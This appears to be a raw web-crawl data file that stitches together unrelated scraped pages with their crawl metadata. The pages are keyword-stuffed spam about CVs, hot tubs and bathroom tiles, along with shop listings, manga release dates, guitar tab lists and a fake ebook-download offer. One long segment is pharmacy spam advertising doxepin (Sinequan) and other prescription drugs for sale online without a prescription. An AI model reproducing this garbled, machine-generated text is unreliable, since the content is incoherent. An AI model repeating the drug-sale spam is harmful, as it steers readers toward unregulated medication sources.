vitae curriculum le curriculum vitae definition.\nle curriculum vitae curriculum vitae le curriculum vitae traduction en allemand.\nle curriculum vitae click here to view full natural history survey curriculum vitae template student le curriculum vitae cv exemple.\nle curriculum vitae samples curriculum vitae download em le curriculum vitae exemple.\nle curriculum vitae graate template word best of format curriculum vitae a professional resume le curriculum vitae en france.\nle curriculum vitae examp resume ideas colction basic resume a simp curriculum vitae images free business le curriculum vitae cv.\nle curriculum vitae curriculum vitae this is resume outline job resume outline le curriculum vitae en france.\nle curriculum vitae le curriculum vitae francese.\nle curriculum vitae curriculum vitae new curriculum vitae download curriculum vitae per windows le curriculum vitae en france.\nle curriculum vitae resume examp for nurses nursing student nurse free samp resumes in objective curriculum vitae le curriculum vitae exemple.\nle curriculum vitae curriculum vitae by shark graphic le curriculum vitae definition.\nle curriculum vitae curriculum vitae exemp 1jpg le curriculum vitae cv exemple maroc.\nle curriculum vitae nursing student curriculum vitae samp cover tter resume with regard to le curriculum vitae francese.\nle curriculum vitae curriculum vitae roux 1 personal details name surname roux le curriculum vitae de dieu.\nle curriculum vitae examples of c v curriculum vitae pics le curriculum vitae definition.\nle curriculum vitae examples en curriculum vitae template intended for curriculum vitae template la curriculum vitae exemple.\nle curriculum vitae cover tter teacher aide samp assistant teaching teachers curriculum vitae la curriculum vitae cv.\nle curriculum vitae full size of le curriculum vitae exemple.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/praktikus.info\/le-curriculum-vitae\/","date":"2019-02-20T09:01:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247494694.1\/warc\/CC-MAIN-20190220085318-20190220111318-00146.warc.gz","language":"ina","language_score":0.4600029886,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.46000298857688904, \"lat_Latn_score\": 0.3140649199485779, \"sco_Latn_score\": 0.15015242993831635, \"eus_Latn_score\": 0.023440629243850708}","num_words":745,"character_repetition_ratio":0.433,"word_repetition_ratio":0.182,"special_characters_ratio":0.159,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":0.46,"perplexity_score":3267.3,"cluster_detection":-1} +{"text":"aquaterra spas review aquaterra spa reviews pomegranate enzyme facial aqua terra spas reviews costco aquaterra spa reviews aquaterra spas reviews.\naquaterra spas review aquaterra spas costco spa reviews spas jet 5 person lounge seat spa spas reviews spa reviews aquaterra spas aquaterra spas prices.\naquaterra spas review aquaterra spas costco hot home and garden person jet spa with stainless jets and ozone home aquaterra spas aquaterra spas montecito reviews of my pillow.\naquaterra spas review aquaterra spas verona 22 hydrotherapy jets 6 person spa everlast spas grand estate jet acrylic spa sterling silver everlast spas grand estate jet acrylic spa sterling silver.\naquaterra spas review costco wholesale black friday aquaterra spas adriana 21 jet 4 person spa for 199999 aquaterra spas reviews.\naquaterra spas review aquaterra spas toscano ii 17 jet 3 person spa aquaterra spas grayson reviews.\naquaterra spas review costco swimming pools costco hot tub aquaterra spas reviews aquaterra spas montecito reviews.\naquaterra spas review aquaterra spa review photo of spa beach ca united states email confirmation and aquaterra benicia spa aquaterra spa review aqua terra spas reviews costco.\naquaterra spas review imageservice 38 aquaterra spas montecito reviews on air.\naquaterra spas review aquaterra spas verona reviews.\naquaterra spas review costco spas hot tubs spas pools costco aquaterra spas reviews aquaterra spas transport ii reviews.\naquaterra spas review aqua terra spas aqua spas aqua spas reviews aquaterra spas montecito reviews purple.\naquaterra spas review aquaterra spas reviews a z keywords aquaterra spas verona reviews aquaterra spas reviews aquaterra spas grayson reviews.\naquaterra spas review aquaterra spas spas reviews threaded filter hot tub reviews aquaterra spas ventura reviews.\naquaterra spas review aquaterra spas spas reviews saunas hot tubs in or spas reviews aquaterra spas grayson review.\naquaterra spas review aquaterra spas aquaterra spa warehouse aquaterra spas montecito reviews on.\naquaterra spas review aquaterra spa reviews spas reviews if dreaming of something more than an inflatable hot tub but aquaterra spas verona reviews.\naquaterra spas review aquaterra spas 50 sq ft spa filter 2 pack oem replacement for 303279 aquaterra spas montecito reviews purple.\naquaterra spas review aquaterra spas montecito reviews on spirit.\naquaterra spas review decorum 67 jet lounge acrylic hot tub aquaterra spas reviews.\naquaterra spas review aquaterra spas montecito reviews casper.\naquaterra spas review aquaterra spa review spas review spas jet 5 person spa video gallery spas review aquaterra spa review aquaterra spas montecito reviewsnap.\naquaterra spas review aquaterra spas costco marvelous portable hot tubs spas and hardwood flooring and wooden wall aquaterra spas montecito reviews of new samsung.\naquaterra spas review aquaterra spas spas reviews spas jet 4 person spa garden outdoor spas spas aquaterra spas aquaterra spas adriana reviews.\naquaterra spas review aqua terra spas spas reviews spas transport ii jet 5 person spa spas reviews aquaterra spas grayson 17 jet 4 person spa reviews.\naquaterra spas review aquaterra spas montecito reviews purple.\naquaterra spas review aquaterra spa reviews spas spas reviews spas spas fantasy spas filter cartridge premier series models spas aquaterra spas fairfax reviews.\naquaterra spas review costco wholesale black friday aquaterra spas montecito 45 jet 6 person spa for aquaterra spas reviews.\naquaterra spas review costco aquaterra spas grayson reviews.\naquaterra spas review hot tubs at costco aquaterra spas adriana reviews.\naquaterra spas review aquaterra benicia plug in 4 person hot tub spa w cover certified refurbished aquaterra spas adriana 21 jet 4 person spa reviews.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/antrocasa.info\/aquaterra-spas-review\/","date":"2019-11-19T18:43:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670162.76\/warc\/CC-MAIN-20191119172137-20191119200137-00244.warc.gz","language":"ina","language_score":0.4358656406,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.4358656406402588, \"eng_Latn_score\": 0.20746424794197083, \"pcd_Latn_score\": 0.040088165551424026, \"lat_Latn_score\": 0.028795156627893448, \"gmh_Latn_score\": 0.026845861226320267, \"kea_Latn_score\": 0.02284909226000309, \"lvs_Latn_score\": 0.022185729816555977, \"roh_Latn_score\": 0.020658835768699646, \"lmo_Latn_score\": 0.01719582825899124, \"lit_Latn_score\": 0.015426462516188622, \"nld_Latn_score\": 0.014014904387295246, \"eus_Latn_score\": 0.013753888197243214}","num_words":1120,"character_repetition_ratio":0.365,"word_repetition_ratio":0.274,"special_characters_ratio":0.169,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":13012.2,"cluster_detection":-1} +{"text":"Probreast Plus experiencias e informe de pruebanutrición \/ Por Thomas Baier contenido1 Farmacia Probreast Plus2 Productores de Probreast Plus3 Opiniones de Probreast Plus4 Pide y compra Probreast Plus5 Efecto probreast plus6 Probreast Plus legal7 Probreast Plus Internet Farmacia Probreast Plus Productores de Probreast Plus Opiniones de Probreast Plus Pide y compra Probreast Plus Efecto probreast plus Probreast Plus legal Probreast Plus Internet 3.7 \/ 5 ( 7 votos )","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.priorisierung-in-der-medizin.de\/es\/probreast-plus\/","date":"2019-12-14T21:57:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541294513.54\/warc\/CC-MAIN-20191214202754-20191214230754-00087.warc.gz","language":"ina","language_score":0.556848228,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5568482279777527, \"ile_Latn_score\": 0.05610029026865959, \"lat_Latn_score\": 0.05252406373620033, \"pap_Latn_score\": 0.03886309266090393, \"spa_Latn_score\": 0.03788088262081146, \"eus_Latn_score\": 0.031293414533138275, \"ekk_Latn_score\": 0.02532191015779972, \"lvs_Latn_score\": 0.018479805439710617, \"glg_Latn_score\": 0.016141174361109734}","num_words":115,"character_repetition_ratio":0.257,"word_repetition_ratio":0.623,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.875,"perplexity_score":12416.8,"cluster_detection":-1} +{"text":"Videos Roberto Pocaterra Las Recetas secretas 11 months ago166 Views1 Min Read Roberto Pocaterra Roberto Pocaterra Share This! Facebook Twitter Google Plus Pinterest LinkedIn You may also like Videos Roberto Pocaterra La Sopa del chef 11 months ago Videos Roberto Pocaterra Fajitas de Pollo 11 months ago Videos Roberto Pocaterra Tortilla de Patatas 11 months ago About the authorView All Posts Roberto Pocaterra Curso de Cocina Tortilla de Patatas Share This! Facebook Twitter Google Plus Pinterest LinkedIn Videos Videos Roberto Pocaterra La Sopa del chef Videos Roberto Pocaterra Fajitas de Pollo Videos Roberto Pocaterra Tortilla de Patatas Videos Roberto Pocaterra Las Recetas secretas Videos Roberto Pocaterra Curso de Cocina Featured Videos Roberto Pocaterra Las Recetas secretas Videos Roberto Pocaterra Fajitas de Pollo Videos Roberto Pocaterra Tortilla de Patatas Videos Roberto Pocaterra Entomatadas Caseras Videos Roberto Pocaterra Receta de la Felicidad (Película) Videos Roberto Pocaterra La Sopa del chef Videos Roberto Pocaterra Curso de Cocina","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/robertopocaterra.com\/2019\/04\/02\/las-recetas-secretas\/","date":"2020-02-25T03:01:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146004.9\/warc\/CC-MAIN-20200225014941-20200225044941-00076.warc.gz","language":"ina","language_score":0.3820413053,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3820413053035736, \"spa_Latn_score\": 0.19410192966461182, \"srd_Latn_score\": 0.10730534046888351, \"por_Latn_score\": 0.03468218445777893, \"scn_Latn_score\": 0.02833232469856739, \"lat_Latn_score\": 0.022329922765493393, \"kiu_Latn_score\": 0.020807629451155663, \"mad_Latn_score\": 0.012731693685054779, \"glg_Latn_score\": 0.0116486307233572, \"cbk_Latn_score\": 0.011159167625010014, \"vec_Latn_score\": 0.011158688925206661, \"gug_Latn_score\": 0.010780544951558113}","num_words":280,"character_repetition_ratio":0.309,"word_repetition_ratio":0.354,"special_characters_ratio":0.159,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.386,"perplexity_score":6591.3,"cluster_detection":-1} +{"text":"|sorti le 20\/12\/02||sorti le 04\/03\/03||sorti le 04\/06\/03||sorti le 04\/08\/03||sorti le 03\/10\/03||sorti le 19\/12\/03|\n|sorti le 04\/03\/04||sorti le 30\/04\/04||sorti le 04\/08\/04||sorti le 04\/10\/04||sorti le 03\/12\/04||sorti le 04\/03\/05|\n|sorti le 02\/05\/05||sorti le 04\/07\/05||sorti le 02\/09\/05||sorti le 04\/11\/05||sorti le 05\/01\/06||sorti le 03\/03\/06|\n|sorti le 02\/06\/06||sorti le 04\/08\/06||sorti le 04\/10\/06||sorti le 04\/12\/06||sorti le 02\/02\/07||sorti le 04\/04\/07|\n|sorti le 04\/07\/07||sorti le 04\/09\/07||sorti le 02\/11\/07||sorti le 04\/02\/08||sorti le 04\/04\/08||sorti le 04\/06\/08|\n|sorti le 04\/08\/08||sorti le 04\/11\/08||sorti le 05\/01\/09||sorti le 04\/03\/09||sorti le 01\/05\/09||sorti le 04\/08\/09|\n|sorti le 02\/10\/09|\n|Couvertures japonaises des 37 volumes parus chez Shueisha\n\n\n(série terminée)\n|Ballers High\n\n\nGuide book sorti le 04\/10\/05\nchez Shueisha\n600¥","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.mangaverse.net\/html\/eyeshieldcouvjap.htm","date":"2020-07-14T02:25:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657147917.99\/warc\/CC-MAIN-20200714020904-20200714050904-00346.warc.gz","language":"ina","language_score":0.3302996159,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.33029961585998535, \"ron_Latn_score\": 0.279392808675766, \"fra_Latn_score\": 0.2538931667804718, \"und_Grek_score\": 0.058373723179101944, \"crs_Latn_score\": 0.01892530545592308}","num_words":227,"character_repetition_ratio":0.299,"word_repetition_ratio":0.812,"special_characters_ratio":0.578,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.338,"perplexity_score":3189.2,"cluster_detection":-1} +{"text":"Inicio \/ Linea Marita \/ un cafe marita mas un te de maracuya mas un tapaboca de regalo un cafe marita mas un te de maracuya mas un tapaboca de regalo$1,790 un cafe marita mas un te de maracuya mas un tapaboca de regalo cantidad Añadir al carrito Categoría: Linea Marita Productos relacionados cafe marita mas 30 parches y cookes $1,590 Añadir al carrito un cafe marita mas te de jengibre mas tapaboca $1,790 Añadir al carrito un te mas galletitas $1,300 Añadir al carrito Colageno + Café Marita $1,850 Añadir al carrito","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/saludnatural.com.uy\/producto\/un-cafe-marita-mas-un-te-de-maracuya-mas-un-tapaboca-de-regalo\/","date":"2021-04-17T05:33:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038101485.44\/warc\/CC-MAIN-20210417041730-20210417071730-00209.warc.gz","language":"ina","language_score":0.4321779907,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.43217799067497253, \"spa_Latn_score\": 0.25464722514152527, \"ile_Latn_score\": 0.0919438824057579, \"cbk_Latn_score\": 0.059860870242118835, \"pap_Latn_score\": 0.04227416217327118, \"arg_Latn_score\": 0.026061952114105225, \"oci_Latn_score\": 0.013407409191131592, \"tzo_Latn_score\": 0.011027119122445583}","num_words":150,"character_repetition_ratio":0.178,"word_repetition_ratio":0.362,"special_characters_ratio":0.247,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":0.318,"perplexity_score":13788.6,"cluster_detection":-1} +{"text":"Clicca qui per ordinare il Generico Sinequan (Doxepin hydrochloride) oran!\nValutazione 4.4 sulla base di 171 voti.\nPrezzo da €0.26 Per pillola\ncuanto cuesta Sinequan farmacias guadalajara\nPrezzo Sinequan Doxepin hydrochloride US\nacquisto di Sinequan line\nA buon mercato 10 mg Sinequan Portogallo\nQuanto costa 10 mg Sinequan Europa\nQuanto costa Doxepin hydrochloride Italia\nPrezzo basso 10 mg Sinequan Singapore\ngenerico Sinequan pre?allergy to zyrtec-d\nA buon mercato 10 mg Sinequan US\ncosto Sinequan in farmacia\nacquisto Sinequan slovenia\nconveniente 10 mg Sinequan Portogallo\nfarmacia que vende Sinequan feminino\nPrezzo Sinequan Regno Unito\nbasso costo 10 mg Sinequan Finlandia\nIl costo di 10 mg Sinequan Inghilterra\ngenerico Sinequan Doxepin hydrochloride Belgio\nSconto Sinequan Doxepin hydrochloride Austria\ngenerico Sinequan Doxepin hydrochloride Israele\nGenerico 10 mg Levitra Prezzo basso in Sparta, NC\nIn linea 60 mg Priligy Ordine in Erin, TN\ncheap Stromectol\nezecoverage.com\nAcquistare 10 mg Sinequan USA\nAcquistare Doxepin hydrochloride\nAcquista Sinequan Europa\nSinequan generico funciona\ngenerico del Sinequan en chile\nconveniente 10 mg Sinequan Inghilterra\nPrezzo basso Sinequan 10 mg Svezia\nSinequan 10 mg prezzo in farmacia\ngenerico do Sinequan pfizer\nA buon mercato 10 mg Sinequan Tacchino\nPrezzo basso Sinequan 10 mg Stati Uniti\nIl costo di Doxepin hydrochloride Repubblica Ceca\nOrdine Sinequan 10 mg Brasile\nAcquista Sinequan Repubblica Ceca\nOrdine Sinequan Grecia\nbasso costo Sinequan Doxepin hydrochloride\nQuanto costa Doxepin hydrochloride Australia\ncomprar Sinequan generico madrid\ngenerico 10 mg Sinequan Emirati Arabi Uniti\ngenerico Sinequan en farmacias\nprecio Sinequan farmacias andorra\nSinequan pvp farmacias\nA buon mercato 10 mg Sinequan Olanda\nventa de Sinequan farmacias\nsi può acquistare Sinequan farmacia\nQuanto costa 10 mg Sinequan Polonia\nSinequan generico prezzo piu basso\nfarmacia andorra online Sinequan\nqual nome do Sinequan generico\nPrezzo basso 10 mg Sinequan Norvegia\nSconto Sinequan 10 mg Italia\ncomprar Sinequan farmacia precisa receita\nSinequan buon prezzo\nprezzo Sinequan generico in farmacia\nvalor do Sinequan generico\nSinequan original farmacia\nprecio de Sinequan en farmacia argentina\ncomprar Sinequan generico 10 mg\nopiniones comprar Sinequan generico\nqual e o nome do generico do Sinequan\nSconto Sinequan USA\nacquistare Sinequan line forum\ngenerico 10 mg Sinequan Olanda\nSinequan 10 mg generico prezzo\nSinequan en la farmacia sin receta\nSinequan generico funciona original\nSinequan tem generico\ngenerico Sinequan Doxepin hydrochloride Austria\nin linea 10 mg Sinequan Stati Uniti\nSinequan vendita online italia\nacquisto illegale Sinequan\nSinequan vendita sicura\nSinequan farmaco generico\nOrdine Sinequan Repubblica Ceca\nQuanto costa Sinequan 10 mg Spagna\nSinequan generico controindicazioni\nSinequan in farmacia italiana\ncomo conseguir Sinequan en una farmacia\nSinequan farmacias argentinas\nprecio de Sinequan en farmacia ahumada\nAcquista Sinequan Belgio\nconveniente Sinequan Polonia\ngenerico 10 mg Sinequan Croazia\nsi può acquistare Sinequan\nA buon mercato Doxepin hydrochloride Norvegia\nIl costo di 10 mg Sinequan Tacchino\ngenerico Sinequan Israele\nSinequan generico italia si può avere\ncomprar Sinequan sin receta medica farmacia\nprezzo Sinequan farmacia\ngenerico Sinequan chile\nOrdine 10 mg Sinequan Singapore\nOrdine Doxepin hydrochloride Grecia\nper acquistare Sinequan\ngenerico Sinequan tem mesmo efeito\nnuevo generico de Sinequan\nSinequan farmacias ahumada precio\nSinequan femenina generico\nSconto Sinequan Doxepin hydrochloride Repubblica Ceca\nQuanto costa Sinequan 10 mg USA\nSinequan generico brasile\nvendita online Sinequan originale\nSinequan generico preço sp\nfarmacia Sinequan prezzo\nPrezzo Sinequan 10 mg Italia\nPrezzo 10 mg Sinequan Portogallo\nIl costo di Sinequan 10 mg\nems lança generico do Sinequan\nSinequan de venta en farmacias\nQuanto costa Sinequan Danimarca\nqual o preço do Sinequan generico\ndonde comprar Sinequan farmacia\nSinequan generico en mexico precio\nSconto Sinequan Doxepin hydrochloride Svezia\nOrdine Sinequan Doxepin hydrochloride Canada\nposologia do Sinequan generico\nprecio Sinequan generico farmacias\ninformazioni su Sinequan generico\nAcquista Sinequan 10 mg Finlandia\ngenerico Sinequan Doxepin hydrochloride Spagna\nIl costo di Sinequan Brasile\nacquisto Sinequan in svizzera\nAcquista Sinequan Doxepin hydrochloride Giappone\nventa Sinequan genericos\nPrezzo 10 mg Sinequan Svizzera\nfarmacia de andorra Sinequan\ngenericos del Sinequan colombia\nSinequan prezzo di vendita\nAcquista Sinequan Doxepin hydrochloride Finlandia\nbasso costo Sinequan Doxepin hydrochloride Europa\nacquistare Sinequan su internet\nconveniente Sinequan Danimarca\nbuy Viagra Oral Jelly\nAcquistare 5 mg Prednisone In linea in Rutherford, NJ\nbuy Sildenafil Citrate\nsnooker4life.000webhostapp.com\nbuy Atarax\nvOdSj4p","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ezecoverage.net\/2019\/06\/23\/best-place-to-order-generics-in-linea-sinequan-doxepin-hydrochloride-senza-prescrizione-medica-in-rochester-in-spedizione-gratuita\/","date":"2023-03-26T19:25:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296946445.46\/warc\/CC-MAIN-20230326173112-20230326203112-00698.warc.gz","language":"ina","language_score":0.3765023053,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.37650230526924133, \"ita_Latn_score\": 0.1355585902929306, \"lat_Latn_score\": 0.08202218264341354, \"eus_Latn_score\": 0.07609621435403824, \"ile_Latn_score\": 0.05121111497282982, \"lij_Latn_score\": 0.022698938846588135, \"por_Latn_score\": 0.02120829187333584, \"scn_Latn_score\": 0.02098265290260315, \"mlt_Latn_score\": 0.020754551514983177, \"vec_Latn_score\": 0.016891632229089737, \"nld_Latn_score\": 0.01553230732679367, \"nap_Latn_score\": 0.014574216678738594, \"kiu_Latn_score\": 0.014124197885394096, \"srd_Latn_score\": 0.012461768463253975, \"slk_Latn_score\": 0.011591803282499313, \"arg_Latn_score\": 0.010354511439800262}","num_words":1404,"character_repetition_ratio":0.203,"word_repetition_ratio":0.037,"special_characters_ratio":0.159,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.203,"perplexity_score":29270.6,"cluster_detection":-1} +{"text":"|Construction Adhesives in Alabama||Construction Adhesives in Alaska|\n|Construction Adhesives in Alberta||Construction Adhesives in Arizona|\n|Construction Adhesives in Arkansas||Construction Adhesives in British Columbia|\n|Construction Adhesives in California||Construction Adhesives in Colorado|\n|Construction Adhesives in Connecticut||Construction Adhesives in Delaware|\n|Construction Adhesives in Florida||Construction Adhesives in Georgia|\n|Construction Adhesives in Hawaii||Construction Adhesives in Idaho|\n|Construction Adhesives in Illinois||Construction Adhesives in Indiana|\n|Construction Adhesives in Iowa||Construction Adhesives in Kansas|\n|Construction Adhesives in Kentucky||Construction Adhesives in Louisana|\n|Construction Adhesives in Maine||Construction Adhesives in Manitoba|\n|Construction Adhesives in Maryland\/DC||Construction Adhesives in Massachusetts|\n|Construction Adhesives in Michigan||Construction Adhesives in Minnesota|\n|Construction Adhesives in Mississippi||Construction Adhesives in Missouri|\n|Construction Adhesives in Montana||Construction Adhesives in Nebraska|\n|Construction Adhesives in Nevada||Construction Adhesives in New Brunswick|\n|Construction Adhesives in New Hapshire||Construction Adhesives in New Jersey|\n|Construction Adhesives in New Mexico||Construction Adhesives in New York|\n|Construction Adhesives in Newfoundland and Labrador||Construction Adhesives in North Carolina|\n|Construction Adhesives in North Dakota||Construction Adhesives in Northwest Territories|\n|Construction Adhesives in Nova Scotia||Construction Adhesives in Nunavut|\n|Construction Adhesives in Ohio||Construction Adhesives in Oklahoma|\n|Construction Adhesives in Ontario||Construction Adhesives in Oregon|\n|Construction Adhesives in Pennsylvania||Construction Adhesives in Prince Edwards Island|\n|Construction Adhesives in Quebec||Construction Adhesives in Rhode Island|\n|Construction Adhesives in Saskatchewan||Construction Adhesives in South Carolina|\n|Construction Adhesives in South Dakota||Construction Adhesives in Tennessee|\n|Construction Adhesives in Texas||Construction Adhesives in Utah|\n|Construction Adhesives in Vermont||Construction Adhesives in Virginia|\n|Construction Adhesives in Washington||Construction Adhesives in West Virginia|\n|Construction Adhesives in Wisconsin||Construction Adhesives in Wyoming|\n|Construction Adhesives in Yukon|","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/industrynet.com\/categories\/AD0165\/construction-adhesives","date":"2016-10-24T20:07:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719754.86\/warc\/CC-MAIN-20161020183839-00438-ip-10-171-6-4.ec2.internal.warc.gz","language":"ina","language_score":0.4163579941,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.41635799407958984, \"eng_Latn_score\": 0.20509430766105652, \"ile_Latn_score\": 0.12212635576725006, \"dag_Latn_score\": 0.0541907362639904, \"sco_Latn_score\": 0.0367506667971611, \"zul_Latn_score\": 0.017376374453306198, \"gom_Latn_score\": 0.014065028168261051, \"sna_Latn_score\": 0.010577607899904251}","num_words":460,"character_repetition_ratio":0.552,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.353,"perplexity_score":18729.9,"cluster_detection":-1} +{"text":"UNICORNIO CESAR Tabs\nCet artiste n'a aucune biographie pour le moment.\nTabs\n|Tracks||Versions|\n|Saturno||2 guitar pro tabs|\n|La tristeza de un ada||2 guitar pro tabs|\n|Transmicion||2 guitar pro tabs|\n|Guerra estelar||2 guitar pro tabs|\n|Escape Mortal||2 guitar pro tabs|\n|Dragon||2 guitar pro tabs|\n|Daniela||2 guitar pro tabs|\n|Cascada en un bosque||2 guitar pro tabs|\n|Camino Al Cielo||2 guitar pro tabs|\n|Universo||2 guitar pro tabs|\n|Unicornio||1 guitar pro tabs|\n|Tormenta||1 guitar pro tabs|\n|Aldea de nomos||1 guitar pro tabs|\n|Neptuno||1 guitar pro tabs|\n|Horizonte en el mar||1 guitar pro tabs|\n|Caballo Rojo||1 guitar pro tabs|\n|Alma perdida||1 guitar pro tabs|\n|Vaquero Negro||1 guitar pro tabs|","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.tabondant.com\/fre\/tabs\/unicornio-cesar","date":"2017-12-18T01:21:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948599549.81\/warc\/CC-MAIN-20171218005540-20171218031540-00196.warc.gz","language":"ina","language_score":0.3644249737,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3644249737262726, \"glg_Latn_score\": 0.16649100184440613, \"oci_Latn_score\": 0.1048111692070961, \"arg_Latn_score\": 0.09788119792938232, \"sco_Latn_score\": 0.044736213982105255, \"ast_Latn_score\": 0.03470826521515846, \"cat_Latn_score\": 0.013111804611980915, \"wol_Latn_score\": 0.01041519083082676, \"srd_Latn_score\": 0.010175427421927452}","num_words":176,"character_repetition_ratio":0.354,"word_repetition_ratio":0.0,"special_characters_ratio":0.282,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.393,"perplexity_score":13996.0,"cluster_detection":-1} +{"text":"petite salle de bain japonaise prat a poser kimono.\nidee salle de bain japonnaise japonaise france design coration petite,salle de bain japonaise moderne japon comment idee japonnaise, salle de bain japon japonais design,la salle de bain japonaise moderne meuble japonais design, salle de bain japonais meuble japonaise france,salle de bain japonais japonaise france design,salle de bain japonaise photos petite meuble japonais ,salle de bain japonaise prix inspiration design japonais meuble,salle de bain design japonais petite japonaise photos coration and,la salle de bain japonais design meuble","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/tristao.me\/salle-de-bain-japonaise\/petite-salle-de-bain-japonaise-prat-a-poser-kimono\/","date":"2018-01-16T17:14:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886476.31\/warc\/CC-MAIN-20180116164812-20180116184812-00412.warc.gz","language":"ina","language_score":0.350628227,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.35062822699546814, \"fra_Latn_score\": 0.3390192687511444, \"por_Latn_score\": 0.05669504031538963, \"hif_Latn_score\": 0.04896128922700882, \"eus_Latn_score\": 0.01954641379415989, \"gul_Latn_score\": 0.014469710178673267, \"wol_Latn_score\": 0.011303383857011795, \"ben_Latn_score\": 0.011170491576194763}","num_words":162,"character_repetition_ratio":0.286,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.198,"flagged_words_ratio":0.0,"lang_id_score":0.351,"perplexity_score":10434.6,"cluster_detection":-1} +{"text":"Deco Carrelage Salle De Bain d co pvc salle de bain, des carrelages de salle de bains ultra originaux, id e d coration salle de bain salle de bains moderne, idee pose carrelage salle de bain id es d co salle de bain, deco carrelage salle de bain meilleures images d, decoration renover carrelage salle de bain carrelage la, salle de bain beige id es de carrelage meubles et d co, carrelage salle de bain blanc gris,","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/viatura.us\/deco-carrelage-salle-de-bain.html","date":"2018-05-27T17:43:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794869732.36\/warc\/CC-MAIN-20180527170428-20180527190428-00002.warc.gz","language":"ina","language_score":0.4449777007,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.44497770071029663, \"fra_Latn_score\": 0.16421417891979218, \"sco_Latn_score\": 0.0714019164443016, \"nrm_Latn_score\": 0.04909234493970871, \"pfl_Latn_score\": 0.04500975087285042, \"wes_Latn_score\": 0.0358988419175148, \"gul_Latn_score\": 0.031510598957538605, \"rmq_Latn_score\": 0.020159369334578514, \"eus_Latn_score\": 0.018074482679367065, \"pan_Latn_score\": 0.014693434350192547}","num_words":135,"character_repetition_ratio":0.256,"word_repetition_ratio":0.016,"special_characters_ratio":0.202,"stopwords_ratio":0.237,"flagged_words_ratio":0.0,"lang_id_score":0.489,"perplexity_score":4225.2,"cluster_detection":-1} +{"text":"Fifth edition 9781259861987 joseph phillips books resumen de teora pura del derecho de hans kelsen coleccin resmenes universitarios n 519 spanish edition. Anatomie physiologie pathologie german edition resumen de teora pura del derecho de hans kelsen coleccin resmenes universitarios n 519 spanish edition . 7mki resumen de teora pura del derecho de hans kelsen coleccin resmenes universitarios n 519 spanish resmenes universitarios n 159 spanish edition by . Edition 3rd edition resumen de teora pura del derecho de hans kelsen coleccin resmenes universitarios n 519 spanish edition . Un libro electrnico 1 libro digital o ciberlibro conocido en ingls como e book o ebook es la versin o evolucin electrnica o digital de un libro\nJoin Over 10,000 Happy Readers :\n1. Register Free 14 Days Trial Account\n2. Download as many books as you like ( Personal use )","id":"","dump":"CC-MAIN-2018-39","url":"https:\/\/kligg.org\/DOC-ID\/resumen-de-teora-pura-del-derecho-de-hans-kelsen-coleccin-resmenes-universitarios-n-519-spanish-edition","date":"2018-09-24T13:38:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267160454.88\/warc\/CC-MAIN-20180924125835-20180924150235-00432.warc.gz","language":"ina","language_score":0.3391901851,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.33919018507003784, \"spa_Latn_score\": 0.08296321332454681, \"eng_Latn_score\": 0.043798260390758514, \"glg_Latn_score\": 0.03639981150627136, \"sco_Latn_score\": 0.032050881534814835, \"lat_Latn_score\": 0.024610867723822594, \"ile_Latn_score\": 